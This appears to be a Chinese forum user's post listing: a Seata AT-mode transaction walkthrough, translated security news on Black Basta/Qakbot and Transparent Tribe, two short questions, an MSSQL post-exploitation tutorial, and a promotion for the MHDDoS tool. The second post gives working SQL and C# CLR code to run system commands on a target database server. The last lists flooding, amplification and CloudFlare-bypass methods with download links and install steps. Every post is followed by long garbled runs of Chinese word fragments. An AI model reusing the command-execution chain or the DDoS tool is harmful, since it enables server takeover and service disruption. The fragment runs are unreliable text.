跳转到帖子

CNHAT

团队成员
  • 注册日期

  • 上次访问

  1. 官网地址:https://seata.apache.org/zh-cn/ AT模式 优点:无侵入式代码,只需要添加注解,底层采用Seata代理的数据源DataSourceProxy 缺点:依赖于数据库,目前只适用于postgresql、oracle、mysql、polardb-x、sqlserver、达梦数据库等数据库,比如业务逻辑中含有redis、es等操作需要控制事务,无法实现,可以使用TCC模式 客户端 <dependency> <groupId>io.seata</groupId> <artifactId>seata-spring-boot-starter</artifactId> <version>2.0.0</version> </dependency> 首先从源码查起,自动配置首先可以看到这两个,是比较核心的,SeataAutoConfiguration负责扫描@GlobalTransactional注解以及@GlobalLock注解,生成代理类,SeataDataSourceAutoConfiguration主要生成DataSourceProxy代理类以及PreparedStatementProxy或StatementProxy都使用的是Seata的代理类 io.seata.spring.boot.autoconfigure.SeataAutoConfiguration, io.seata.spring.boot.autoconfigure.SeataDataSourceAutoConfiguration, GlobalTransactionScanner类会首先扫描带@GlobalTransactional注解的类,其次在bean注入完成后 注册TM以及RM,主要逻辑还是生成GlobalTransactional注解的代理方法 首先会在postProcessAfterInitialization初始化之后wrapIfNecessary也就是包装一层,这个方法所有bean都会执行一遍,为了过滤会进行一次初步筛选 会对包名判断以及去除Configuration类,然后会判断是否存在GlobalTransactional或GlobalLock注解,代理最重要的MethodInterceptor,所有的处理逻辑都将会在这个拦截器执行只不过这里大概封装了三四层,因为TCC需要走不同的逻辑, 这里以官网例子举例,当调用purchase方法时会执行GlobalTransactionalInterceptorHandler#doInvoke方法 然后执行TransactionalTemplate#execute,首先判断事务的传播机制,默认为REQUIRED,会创建新的事务,以下为代理方法的核心逻辑,创建分布式事务,提交事务以及回滚事务 beginTransaction表示开启事务,第一次与服务端交互,拿到全局锁,返回一个xid, 第二步business.execute表示执行真正执行purchase方法,但是执行的过程中务必会有数据库的操作,所以先看DataSource的代理逻辑 DataSource方法代理 同上,继承了AbstractAutoProxyCreator,如果判断bean类型为DataSource,生成代理类之后放入DataSourceProxyHolder,类型为<origin, proxy>的缓存当中, 当调用DataSource方法的时候,再从DataSourceProxyHolder取出来,这样实际调用的就是代理类的方法, 其中DataSourceProxy中Connection以及Statement均用的seata的代理类 这里以更新为例,扣减库存数量,库存-2 最终执行executeUpdate方法,在获取Connection的时候获取到的是代理之后的ConnectionProxy 一阶段 ExecuteTemplate#execute方法会判断执行sql类型,以UpdateExecutor为例,下面再执行sql的时候添加了额外的逻辑,这也是AT模式可以回滚的关键, statementCallback.execute会在执行业务sql的前后添加镜像,首先看beforeImage,还是以update为例,beforeImage记录更新之前的数据,在更新之前会先查询表结构,获得当前事务表的所有列及索引, 但是这里查询结构不是通过information_schema.tables,以stock_tbl 为例执行的sql为SELECT * FROM stock_tbl LIMIT 1,再通过ResultSetMetaData以及DatabaseMetaData可以获得当前表的所有列及索引,当然这不是每次执行都必须的,只有第一次会查询limit 1语句,后续会放入本地缓存caffeine中,然后根据where条件以及索引来生成查询语句,执行查询得到记录生成beforeImage SELECT id, count FROM stock_tbl WHERE commodity_code = ? FOR UPDATE 然后执行业务代码,执行完成之后生成afterImage,通过beforeImage和afterImage生成undolog 然后执行代理类的事务提交,在提交的时候也大有来头,首先向TM注入分支, 然后插入undo_log,这个Insert会加入当前事务,可以通过 select * from performance_schema.data_locks 查看当前锁 如果在commit当前本地事务的时候发生异常,会上报给TM,会立马进行回滚本地事务, 二阶段—提交 当所有一阶段执行完成之后,由TM开始提交全局事务,TransactionalTemplate#execute 然后TC会向RM发起分支提交请求,在AbstractNettyRemoting#processMessage收到消息之后进行分支的提交,在异步任务提交的时候,AsyncWorker#dealWithGroupedContexts 同时会删除undo_log日志, 至此,提交完事务,整个流程就结束了 二阶段-回滚 如果执行过程中发生了满足条件的异常,TM会向TC发送异常回滚的请求,收到TC回滚请求的RM通过XID与branchId查找undoLog DataSourceManager#branchRollback 会拿到后镜像与当前数据进行做对比,如果一致,说明被当前事务之外的操作做了处理,如果不一致生成回滚sql,并且删除当前undolog,提交事务并将结果上报给TC 官网 网地 地址 官网地 网地址 官网地址 模式 优点 无侵 侵入 入式 式代 代码 无侵入 侵入式 入式代 式代码 无侵入式 侵入式代 入式代码 只需 需要 要添 添加 加注 注解 只需要 需要添 要添加 添加注 加注解 只需要添 需要添加 要添加注 添加注解 底层 层采 采用 底层采 层采用 底层采用 代理 理的 的数 数据 据源 代理的 理的数 的数据 数据源 代理的数 理的数据 的数据源 缺点 依赖 赖于 于数 据库 依赖于 赖于数 于数据 数据库 依赖于数 赖于数据 于数据库 目前 前只 只适 适用 用于 目前只 前只适 只适用 适用于 目前只适 前只适用 只适用于 达梦 梦数 库等 等数 达梦数 梦数据 据库等 库等数 等数据 达梦数据 梦数据库 数据库等 据库等数 库等数据 等数据库 比如 如业 业务 务逻 逻辑 辑中 中含 含有 比如业 如业务 业务逻 务逻辑 逻辑中 辑中含 中含有 比如业务 如业务逻 业务逻辑 务逻辑中 逻辑中含 辑中含有 等操 操作 作需 要控 控制 制事 事务 等操作 操作需 作需要 需要控 要控制 控制事 制事务 等操作需 操作需要 作需要控 需要控制 要控制事 控制事务 无法 法实 实现 无法实 法实现 无法实现 可以 以使 使用 可以使 以使用 可以使用 客户 户端 客户端 首先 先从 从源 源码 码查 查起 首先从 先从源 从源码 源码查 码查起 首先从源 先从源码 从源码查 源码查起 自动 动配 配置 置首 先可 以看 看到 到这 这两 两个 自动配 动配置 配置首 置首先 首先可 先可以 可以看 以看到 看到这 到这两 这两个 自动配置 动配置首 配置首先 置首先可 首先可以 先可以看 可以看到 以看到这 看到这两 到这两个 是比 比较 较核 核心 心的 是比较 比较核 较核心 核心的 是比较核 比较核心 较核心的 负责 责扫 扫描 负责扫 责扫描 负责扫描 解以 以及 注解以 解以及 注解以及 生成 成代 理类 生成代 成代理 代理类 生成代理 成代理类 主要 要生 主要生 要生成 主要生成 类以 理类以 类以及 代理类以 理类以及 都使 用的 的是 都使用 使用的 用的是 都使用的 使用的是 的代 的代理 的代理类 类会 会首 先扫 描带 类会首 会首先 首先扫 先扫描 扫描带 类会首先 会首先扫 首先扫描 先扫描带 解的 的类 注解的 解的类 注解的类 其次 次在 其次在 注入 入完 完成 成后 注入完 入完成 完成后 注入完成 入完成后 注册 要逻 辑还 还是 是生 主要逻 要逻辑 逻辑还 辑还是 还是生 是生成 主要逻辑 要逻辑还 逻辑还是 辑还是生 还是生成 理方 方法 解的代 代理方 理方法 注解的代 解的代理 的代理方 代理方法 先会 会在 首先会 先会在 首先会在 初始 始化 化之 之后 初始化 始化之 化之后 初始化之 始化之后 也就 就是 是包 包装 装一 一层 也就是 就是包 是包装 包装一 装一层 也就是包 就是包装 是包装一 包装一层 这个 个方 法所 所有 这个方 个方法 方法所 法所有 这个方法 个方法所 方法所有 都会 会执 执行 行一 一遍 都会执 会执行 执行一 行一遍 都会执行 会执行一 执行一遍 为了 了过 过滤 滤会 会进 进行 一次 次初 初步 步筛 筛选 为了过 了过滤 过滤会 滤会进 会进行 进行一 行一次 一次初 次初步 初步筛 步筛选 为了过滤 了过滤会 过滤会进 滤会进行 会进行一 进行一次 行一次初 一次初步 次初步筛 初步筛选 会对 对包 包名 名判 判断 断以 及去 去除 会对包 对包名 包名判 名判断 判断以 断以及 以及去 及去除 会对包名 对包名判 包名判断 名判断以 判断以及 断以及去 以及去除 然后 后会 会判 断是 是否 否存 存在 然后会 后会判 会判断 判断是 断是否 是否存 否存在 然后会判 后会判断 会判断是 判断是否 断是否存 是否存在 理最 最重 重要 要的 代理最 理最重 最重要 重要的 代理最重 理最重要 最重要的 有的 的处 处理 理逻 辑都 都将 将会 在这 个拦 拦截 截器 器执 行只 只不 不过 过这 这里 里大 大概 概封 封装 装了 了三 三四 四层 所有的 有的处 的处理 处理逻 理逻辑 逻辑都 辑都将 都将会 将会在 会在这 在这个 这个拦 个拦截 拦截器 截器执 器执行 执行只 行只不 只不过 不过这 过这里 这里大 里大概 大概封 概封装 封装了 装了三 了三四 三四层 所有的处 有的处理 的处理逻 处理逻辑 理逻辑都 逻辑都将 辑都将会
  2. 利用COM执行命令 (需要开启Ole Automation Procedures组件) declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures,可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令 编写语言:C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数 (根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数) CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 利用 执行 行命 命令 执行命 行命令 执行命令 需要 要开 开启 需要开 要开启 需要开启 组件 没有 有开 没有开 有开启 没有开启 可以 以用 用下 下面 面的 的命 令开 可以用 以用下 用下面 下面的 面的命 的命令 命令开 令开启 可以用下 以用下面 用下面的 下面的命 面的命令 的命令开 命令开启 编写 实现 现执 实现执 现执行 实现执行 现执行命 写语 语言 编写语 写语言 编写语言 创建 建类 类库 创建类 建类库 创建类库 标准 准错 错误 标准错 准错误 标准错误 准输 输入 标准输 准输入 标准输入 输出 准输出 标准输出 是否 否在 在新 新窗 窗口 口开 启进 进程 是否在 否在新 在新窗 新窗口 窗口开 口开启 开启进 启进程 是否在新 否在新窗 在新窗口 新窗口开 窗口开启 口开启进 开启进程 令参 参数 数写 写入 命令参 令参数 参数写 数写入 命令参数 令参数写 参数写入 缓冲 冲区 区自 自动 动刷 刷新 缓冲区 冲区自 区自动 自动刷 动刷新 缓冲区自 冲区自动 区自动刷 自动刷新 读取 取执 行结 结果 读取执 取执行 执行结 行结果 读取执行 取执行结 执行结果 等待 待执 行完 完成 成退 退出 等待执 待执行 执行完 行完成 完成退 成退出 等待执行 待执行完 执行完成 行完成退 完成退出 生成 的方 方法 法写 写到 到目 目标 的方法 方法写 法写到 写到目 到目标 的方法写 方法写到 法写到目 写到目标 或者 上传 然后 后开 开始 始构 构造 然后开 后开始 开始构 始构造 然后开始 后开始构 开始构造 标数 数据 据库 库实 实例 例需 要启 启用 目标数 标数据 数据库 据库实 库实例 实例需 例需要 需要启 要启用 目标数据 标数据库 数据库实 据库实例 库实例需 实例需要 例需要启 需要启用 集成 中启 中启用 库的 的可 可信 信任 任属 属性 性需 要设 设为 据库的 库的可 的可信 可信任 信任属 任属性 属性需 性需要 需要设 要设为 数据库的 据库的可 库的可信 的可信任 可信任属 信任属性 任属性需 属性需要 性需要设 需要设为 以使 使用 用以 以下 下语 语句 句启 可以使 以使用 使用以 用以下 以下语 下语句 语句启 句启用 可以使用 以使用以 使用以下 用以下语 以下语句 下语句启 语句启用 库名 名称 据库名 库名称 数据库名 据库名称 在数 库中 中注 注册 在数据 据库中 库中注 中注册 在数据库 数据库中 据库中注 库中注册 的路 路径 的路径 为导 导入 为导入 后的 的变 变量 量名 后的变 的变量 变量名 量名称 后的变量 的变量名 变量名称 建函 函数 创建函 建函数 创建函数 根据 据对 对应 应函 数的 的类 类型 型的 的参 数构 造对 应的 数类 根据对 据对应 对应函 应函数 函数的 数的类 的类型 类型的 型的参 的参数 参数构 数构造 构造对 造对应 对应的 应的参 参数类 数类型 根据对应 据对应函 对应函数 应函数的 函数的类 数的类型 的类型的 类型的参 型的参数 的参数构 参数构造 数构造对 构造对应 造对应的 对应的参 应的参数 的参数类 参数类型 记得 得设 设置 置为 为返 返回 回最 最大 大如 如果 果是 是返 记得设 得设置 设置为 置为返 为返回 返回最 回最大 最大如 大如果 如果是 果是返 是返回 记得设置 得设置为 设置为返 置为返回 为返回最 返回最大 回最大如 最大如果 大如果是 如果是返 果是返回 的话 型的话 类型的话 在直 直接 接这 这个 在直接 直接这 接这个 在直接这 直接这个 的名 称在 在那 那个 个命 命名 名空 空间 的名称 名称在 称在那 在那个 那个命 个命名 命名空 名空间 的名称在 名称在那 称在那个 在那个命 那个命名 个命名空 命名空间 为命 为命名 为命名空 为类 类名 为类名 为函 数名 为函数 函数名 为函数名 程序 序集 集的 的权 权限 限级 级别 别必 必须 须设 程序集 序集的 集的权 的权限 权限级 限级别 级别必 别必须 必须设 须设为 程序集的 序集的权 集的权限 的权限级 权限级别 限级别必 级别必须 别必须设 必须设为 否则 则在 在部 部署 署的 的时 时候 候会 会报 报错 否则在 则在部 在部署 部署的 署的时 的时候 时候会 候会报 会报错 否则在部 则在部署 在部署的 部署的时 署的时候 的时候会 时候会报 候会报错 调用 用存 存储 储过 过程 程和 和函 数方 调用存 用存储 存储过 储过程 过程和 程和函 和函数
  3. 位于美国的公司一直处于“激进的”Qakbot 恶意软件活动的接收端,该活动导致受感染网络上的 Black Basta 勒索软件感染。 Cybereason 研究人员 Joakim Kandefelt 和 Danielle Frankel在与黑客新闻分享的一份报告中说: “在最近的这次活动中,Black Basta 勒索软件团伙正在使用 QakBot 恶意软件创建初始入口点并在组织网络内横向移动。” 2022 年 4 月出现的 Black Basta 遵循久经考验的双重勒索方法,从目标公司窃取敏感数据,并以此为杠杆,通过威胁发布被盗信息来勒索加密货币支付。 这不是第一次观察到勒索软件团队使用 Qakbot(又名 QBot、QuackBot 或 Pinkslipbot)。上个月,趋势科技披露了类似的攻击,这些攻击需要使用 Qakbot 来提供Brute Ratel C4框架,而该框架又被用来放弃 Cobalt Strike。 Cybereason 观察到的入侵活动从等式中删除了 Brute Ratel C4,而是使用 Qakbot 直接在受感染环境中的多台机器上分发 Cobalt Strike。 攻击链从一封带有恶意磁盘映像文件的鱼叉式网络钓鱼电子邮件开始,该文件在打开时启动 Qbot 的执行,而 Qbot 则连接到远程服务器以检索 Cobalt Strike 有效载荷。 在此阶段,执行凭证收集和横向移动活动以将红队框架放置在多个服务器上,然后使用收集到的密码破坏尽可能多的端点并启动 Black Basta 勒索软件。 研究人员指出:“威胁行为者在不到两小时内获得了域管理员权限,并在不到 12 小时内转移到勒索软件部署,”并补充说,过去两周有 10 多个不同的客户受到了新一轮攻击的影响。 在以色列网络安全公司发现的两个实例中,入侵不仅部署了勒索软件,还通过禁用 DNS 服务将受害者锁定在他们的网络之外,以使恢复更具挑战性。 Black Basta 仍然是一个非常活跃的勒索软件攻击者。根据Malwarebytes收集的数据,勒索软件卡特尔仅在 2022 年 10 月就成功地将 25 家公司作为目标,排在LockBit、Karakurt和BlackCat 之后。 位于 于美 美国 国的 的公 公司 司一 一直 直处 处于 位于美 于美国 美国的 国的公 的公司 公司一 司一直 一直处 直处于 位于美国 于美国的 美国的公 国的公司 的公司一 公司一直 司一直处 一直处于 激进 进的 激进的 恶意 意软 软件 件活 活动 动的 的接 接收 收端 恶意软 意软件 软件活 件活动 活动的 动的接 的接收 接收端 恶意软件 意软件活 软件活动 件活动的 活动的接 动的接收 的接收端 该活 动导 导致 致受 受感 感染 染网 网络 络上 上的 该活动 活动导 动导致 导致受 致受感 受感染 感染网 染网络 网络上 络上的 该活动导 活动导致 动导致受 导致受感 致受感染 受感染网 感染网络 染网络上 网络上的 勒索 索软 件感 勒索软 索软件 软件感 件感染 勒索软件 索软件感 软件感染 研究 究人 人员 研究人 究人员 研究人员 在与 与黑 黑客 客新 新闻 闻分 分享 享的 的一 一份 份报 报告 告中 中说 在与黑 与黑客 黑客新 客新闻 新闻分 闻分享 分享的 享的一 的一份 一份报 份报告 报告中 告中说 在与黑客 与黑客新 黑客新闻 客新闻分 新闻分享 闻分享的 分享的一 享的一份 的一份报 一份报告 份报告中 报告中说 在最 最近 近的 的这 这次 次活 动中 在最近 最近的 近的这 的这次 这次活 次活动 活动中 在最近的 最近的这 近的这次 的这次活 这次活动 次活动中 件团 团伙 伙正 正在 在使 使用 软件团 件团伙 团伙正 伙正在 正在使 在使用 索软件团 软件团伙 件团伙正 团伙正在 伙正在使 正在使用 件创 创建 建初 初始 始入 入口 口点 点并 并在 在组 组织 织网 络内 内横 横向 向移 移动 软件创 件创建 创建初 建初始 初始入 始入口 入口点 口点并 点并在 并在组 在组织 组织网 织网络 网络内 络内横 内横向 横向移 向移动 意软件创 软件创建 件创建初 创建初始 建初始入 初始入口 始入口点 入口点并 口点并在 点并在组 并在组织 在组织网 组织网络 织网络内 网络内横 络内横向 内横向移 横向移动 月出 出现 现的 月出现 出现的 月出现的 遵循 循久 久经 经考 考验 验的 的双 双重 重勒 索方 方法 遵循久 循久经 久经考 经考验 考验的 验的双 的双重 双重勒 重勒索 勒索方 索方法 遵循久经 循久经考 久经考验 经考验的 考验的双 验的双重 的双重勒 双重勒索 重勒索方 勒索方法 从目 目标 标公 司窃 窃取 取敏 敏感 感数 数据 从目标 目标公 标公司 公司窃 司窃取 窃取敏 取敏感 敏感数 感数据 从目标公 目标公司 标公司窃 公司窃取 司窃取敏 窃取敏感 取敏感数 敏感数据 并以 以此 此为 为杠 杠杆 并以此 以此为 此为杠 为杠杆 并以此为 以此为杠 此为杠杆 通过 过威 威胁 胁发 发布 布被 被盗 盗信 信息 息来 来勒 索加 加密 密货 货币 币支 支付 通过威 过威胁 威胁发 胁发布 发布被 布被盗 被盗信 盗信息 信息来 息来勒 来勒索 勒索加 索加密 加密货 密货币 货币支 币支付 通过威胁 过威胁发 威胁发布 胁发布被 发布被盗 布被盗信 被盗信息 盗信息来 信息来勒 息来勒索 来勒索加 勒索加密 索加密货 加密货币 密货币支 货币支付 这不 不是 是第 第一 一次 次观 观察 察到 到勒 团队 队使 这不是 不是第 是第一 第一次 一次观 次观察 观察到 察到勒 到勒索 件团队 团队使 队使用 这不是第 不是第一 是第一次 第一次观 一次观察 次观察到 观察到勒 察到勒索 到勒索软 软件团队 件团队使 团队使用 又名 上个 个月 上个月 趋势 势科 科技 技披 披露 露了 了类 类似 似的 的攻 攻击 趋势科 势科技 科技披 技披露 披露了 露了类 了类似 类似的 似的攻 的攻击 趋势科技 势科技披 科技披露 技披露了 披露了类 露了类似 了类似的 类似的攻 似的攻击 这些 些攻 击需 需要 要使 这些攻 些攻击 攻击需 击需要 需要使 要使用 这些攻击 些攻击需 攻击需要 击需要使 需要使用 来提 提供 来提供 框架 而该 该框 架又 又被 被用 用来 来放 放弃 而该框 该框架 框架又 架又被 又被用 被用来 用来放 来放弃 而该框架 该框架又 框架又被 架又被用 又被用来 被用来放 用来放弃 到的 的入 入侵 侵活 动从 从等 等式 式中 中删 删除 除了 察到的 到的入 的入侵 入侵活 侵活动 活动从 动从等 从等式 等式中 式中删 中删除 删除了 观察到的 察到的入 到的入侵 的入侵活 入侵活动 侵活动从 活动从等 动从等式 从等式中 等式中删
  4. 为什么会有这种问题。。 为什 什么 么会 会有 有这 这种 种问 问题 为什么 什么会 么会有 会有这 有这种 这种问 种问题 为什么会 什么会有 么会有这 会有这种 有这种问 这种问题
  5. 为什么会有这种问题。。 为什 什么 么会 会有 有这 这种 种问 问题 为什么 什么会 么会有 会有这 有这种 这种问 种问题 为什么会 什么会有 么会有这 会有这种 有这种问 这种问题
  6. 透明部落威胁参与者与针对印度政府组织的新活动有关,该活动使用名为Kavach的双因素身份验证解决方案的木马化版本。 Zscaler ThreatLabz 研究员 Sudeep Singh在周四的分析中表示: “该组织滥用 Google 广告进行恶意广告,以分发 Kavach 多重身份验证 (MFA) 应用程序的后门版本。” 这家网络安全公司表示,高级持续性威胁组织还进行了小规模的凭据收集攻击,其中建立了伪装成印度政府官方网站的流氓网站,以引诱不知情的用户输入密码。 透明部落,也被称为 APT36、C-Major 和 Mythic Leopard 的绰号,是一个可疑的巴基斯坦敌对团体,有打击印度和阿富汗实体的历史。 最新的攻击链并不是威胁行为者第一次将目光投向 Kavach(在印地语中意为“盔甲”),这是一个强制应用程序,用户必须在 @gov.in 和 @nic.in 域上拥有电子邮件地址才能签名进入电子邮件服务作为第二层身份验证。 今年 3 月初,Cisco Talos发现了一场黑客活动,该活动使用 Kavach 的假 Windows 安装程序作为诱饵,用 CrimsonRAT 和其他人工制品感染政府人员。 他们常用的策略之一是模仿合法的政府、军队和相关组织来激活杀伤链。威胁行为者进行的最新活动也不例外。 “威胁行为者注册了多个新域托管伪装成官方 Kavach 应用程序下载门户的网页,”辛格说。“他们滥用 Google Ads 的付费搜索功能,将恶意域名推到印度用户的 Google 搜索结果顶部。” Since May 2022, Transparent Tribe is also said to have distributed backdoored versions of the Kavach app through attacker-controlled application stores that claim to offer free software downloads. This website is also surfaced as a top result in Google searches, effectively acting as a gateway to redirect users looking for the app to the .NET-based fraudulent installer. The group, beginning August 2022, has also been observed using a previously undocumented data exfiltration tool codenamed LimePad, which is designed to upload files of interest from the infected host to the attacker's server. Zscaler said it also identified a domain registered by Transparent Tribe spoofing the login page of the Kavach app that was only displayed accessed from an Indian IP address, or else redirected the visitor to the home page of India's National Informatics Centre (NIC). The page, for its part, is equipped to capture the credentials entered by the victim and send them to a remote server for carrying out further attacks against government-related infrastructure. The use of Google ads and LimePad points to the threat actor's continued attempts at evolving and refining its tactics and malware toolset. “APT-36 仍然是最流行的高级持续性威胁组织之一,专注于针对在印度政府组织工作的用户,”辛格说。“印度政府组织内部使用的应用程序是 APT-36 小组使用的社会工程主题的热门选择。” 透明 明部 部落 落威 威胁 胁参 参与 与者 者与 与针 针对 对印 印度 度政 政府 府组 组织 织的 的新 新活 活动 动有 有关 透明部 明部落 部落威 落威胁 威胁参 胁参与 参与者 与者与 者与针 与针对 针对印 对印度 印度政 度政府 政府组 府组织 组织的 织的新 的新活 新活动 活动有 动有关 透明部落 明部落威 部落威胁 落威胁参 威胁参与 胁参与者 参与者与 与者与针 者与针对 与针对印 针对印度 对印度政 印度政府 度政府组 政府组织 府组织的 组织的新 织的新活 的新活动 新活动有 活动有关 该活 动使 使用 用名 名为 该活动 活动使 动使用 使用名 用名为 该活动使 活动使用 动使用名 使用名为 的双 双因 因素 素身 身份 份验 验证 证解 解决 决方 方案 案的 的木 木马 马化 化版 版本 的双因 双因素 因素身 素身份 身份验 份验证 验证解 证解决 解决方 决方案 方案的 案的木 的木马 木马化 马化版 化版本 的双因素 双因素身 因素身份 素身份验 身份验证 份验证解 验证解决 证解决方 解决方案 决方案的 方案的木 案的木马 的木马化 木马化版 马化版本 研究 究员 研究员 在周 周四 四的 的分 分析 析中 中表 表示 在周四 周四的 四的分 的分析 分析中 析中表 中表示 在周四的 周四的分 四的分析 的分析中 分析中表 析中表示 该组 织滥 滥用 该组织 组织滥 织滥用 该组织滥 组织滥用 广告 告进 进行 行恶 恶意 意广 广告进 告进行 进行恶 行恶意 恶意广 意广告 广告进行 告进行恶 进行恶意 行恶意广 恶意广告 以分 分发 以分发 多重 重身 多重身 重身份 多重身份 重身份验 应用 用程 程序 序的 的后 后门 门版 应用程 用程序 程序的 序的后 的后门 后门版 门版本 应用程序 用程序的 程序的后 序的后门 的后门版 后门版本 这家 家网 网络 络安 安全 全公 公司 司表 这家网 家网络 网络安 络安全 安全公 全公司 公司表 司表示 这家网络 家网络安 网络安全 络安全公 安全公司 全公司表 公司表示 高级 级持 持续 续性 性威 胁组 织还 还进 行了 了小 小规 规模 模的 的凭 凭据 据收 收集 集攻 攻击 高级持 级持续 持续性 续性威 性威胁 威胁组 胁组织 组织还 织还进 还进行 进行了 行了小 了小规 小规模 规模的 模的凭 的凭据 凭据收 据收集 收集攻 集攻击 高级持续 级持续性 持续性威 续性威胁 性威胁组 威胁组织 胁组织还 组织还进 织还进行 还进行了 进行了小 行了小规 了小规模 小规模的 规模的凭 模的凭据 的凭据收 凭据收集 据收集攻 收集攻击 其中 中建 建立 立了 了伪 伪装 装成 成印 府官 官方 方网 网站 站的 的流 流氓 氓网 其中建 中建立 建立了 立了伪 了伪装 伪装成 装成印 成印度 政府官 府官方 官方网 方网站 网站的 站的流 的流氓 流氓网 氓网站 其中建立 中建立了 建立了伪 立了伪装 了伪装成 伪装成印 装成印度 成印度政 度政府官 政府官方 府官方网 官方网站 方网站的 网站的流 站的流氓 的流氓网 流氓网站 以引 引诱 诱不 不知 知情 情的 的用 用户 户输 输入 入密 密码 以引诱 引诱不 诱不知 不知情 知情的 情的用 的用户 用户输 户输入 输入密 入密码 以引诱不 引诱不知 诱不知情 不知情的 知情的用 情的用户 的用户输 用户输入 户输入密 输入密码 也被 被称 称为 也被称 被称为 也被称为 的绰 绰号 的绰号 是一 一个 个可 可疑 疑的 的巴 巴基 基斯 斯坦 坦敌 敌对 对团 团体 是一个 一个可 个可疑 可疑的 疑的巴 的巴基 巴基斯 基斯坦 斯坦敌 坦敌对 敌对团 对团体 是一个可 一个可疑 个可疑的 可疑的巴 疑的巴基 的巴基斯 巴基斯坦 基斯坦敌 斯坦敌对 坦敌对团 敌对团体 有打 打击 击印 度和 和阿 阿富 富汗 汗实 实体 体的 的历 历史 有打击 打击印 击印度 印度和 度和阿 和阿富 阿富汗 富汗实 汗实体 实体的 体的历 的历史 有打击印 打击印度 击印度和 印度和阿 度和阿富 和阿富汗 阿富汗实 富汗实体 汗实体的 实体的历 体的历史 最新 新的 的攻 击链 链并 并不 不是 是威 胁行 行为 为者 者第 第一 一次 次将 将目 目光 光投 投向 最新的 新的攻 的攻击 攻击链 击链并 链并不 并不是 不是威 是威胁 威胁行 胁行为 行为者 为者第 者第一 第一次 一次将 次将目 将目光 目光投 光投向 最新的攻 新的攻击 的攻击链 攻击链并 击链并不 链并不是 并不是威 不是威胁 是威胁行
  7. 注意事项: 仅可作为研究具备授权的测试使用。 未经所有者同意,请勿用于攻击。 特点和方法 ?第 7 层 GET|GET洪水 POST| POST洪水 OVH | 绕过OVH RHEX | 随机十六进制 STOMP | 绕过 chk_captcha STRESS | 发送高字节的 HTTP 数据包 DYN | 一种带有随机子域的新方法 DOWNLOADER | 一种慢读数据的新方法 SLOW | Slowloris 旧的 DDoS 方法 HEAD | hdeveloper.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD NULL | 空用户代理和… COOKIE | 随机 Cookie PHP ‘if (isset($_COOKIE))’ PPS | 只有 ‘GET / HTTP/1.1\r\n\r\n’ EVEN | 带有更多标头的 GET 方法 GSB | 谷歌项目屏蔽绕过 DGB | DDoS 防护绕过 AVB | Arvan 云绕过 BOT | 像谷歌机器人 阿帕奇 | 阿帕奇漏洞 XMLRPC | WP XMLRPC expliot(添加 /xmlrpc.php) CFB | CloudFlare 绕过 CFBUAM | 攻击模式下的 CloudFlare 绕过 BYPASS | 绕过正常的AntiDDoS BOMB | 绕过codeenberg/bombardier ?KILLER | 运行多个线程来杀死一个目标 ?TOR | 绕过洋葱网站 ?第 4 层: 技术支持 | TCP 洪水绕过 UDP | UDP洪水绕过 SYN | SYN 洪水 CPS | 使用代理打开和关闭连接 ICMP | Icmp 回显请求洪水(Layer3) 连接| 使用代理打开连接 VSE | 发送 Valve Source Engine 协议 TS3 | 发送 Teamspeak 3 状态 Ping 协议 FIVEM | 发送 Fivem 状态 Ping 协议 MEM | Memcached 放大 NTP | NTP 放大 MCBOT | 我的世界机器人攻击 MINECRAFT | Minecraft 状态 Ping 协议 MCPE | Minecraft PE 状态 Ping 协议 DNS | DNS 放大 CHAR | 电荷放大 CLDAP | Cldap扩增 ARD | Apple 远程桌面放大攻击 RDP | 远程桌面协议放大攻击 ⚙️工具 – 运行 python3 start.py tools ?CFIP | 查找由 Cloudflare 提供支持的网站的真实 IP 地址 ?DNS | 显示站点的 DNS 记录 ? TSSRV | TeamSpeak SRV 解析器 ⚠ PING | PING 服务器 ?CHECK | 检查网站状态 ?DSTAT | 显示接收的字节数、发送的字节数及其数量 ?其他 ❌STOP | 停止所有攻击 ?TOOLS | 控制台工具 ?HELP | 显示使用脚本 安装条件 Requirements dnspython cfscrape impacket requests Python3 PyRoxy icmplib certifi psutil yarl 下载地址 github.com/MatrixTM/MHDDoS 2.4.zip 云中转网盘: yunzhongzhuan.com/#sharefile=Ac5FNRm3_98239 解压密码:www.ddosi.org 安装方法 自动安装 git clone https://github.com/MatrixTM/MHDDoS.git cd MHDDoS pip install -r 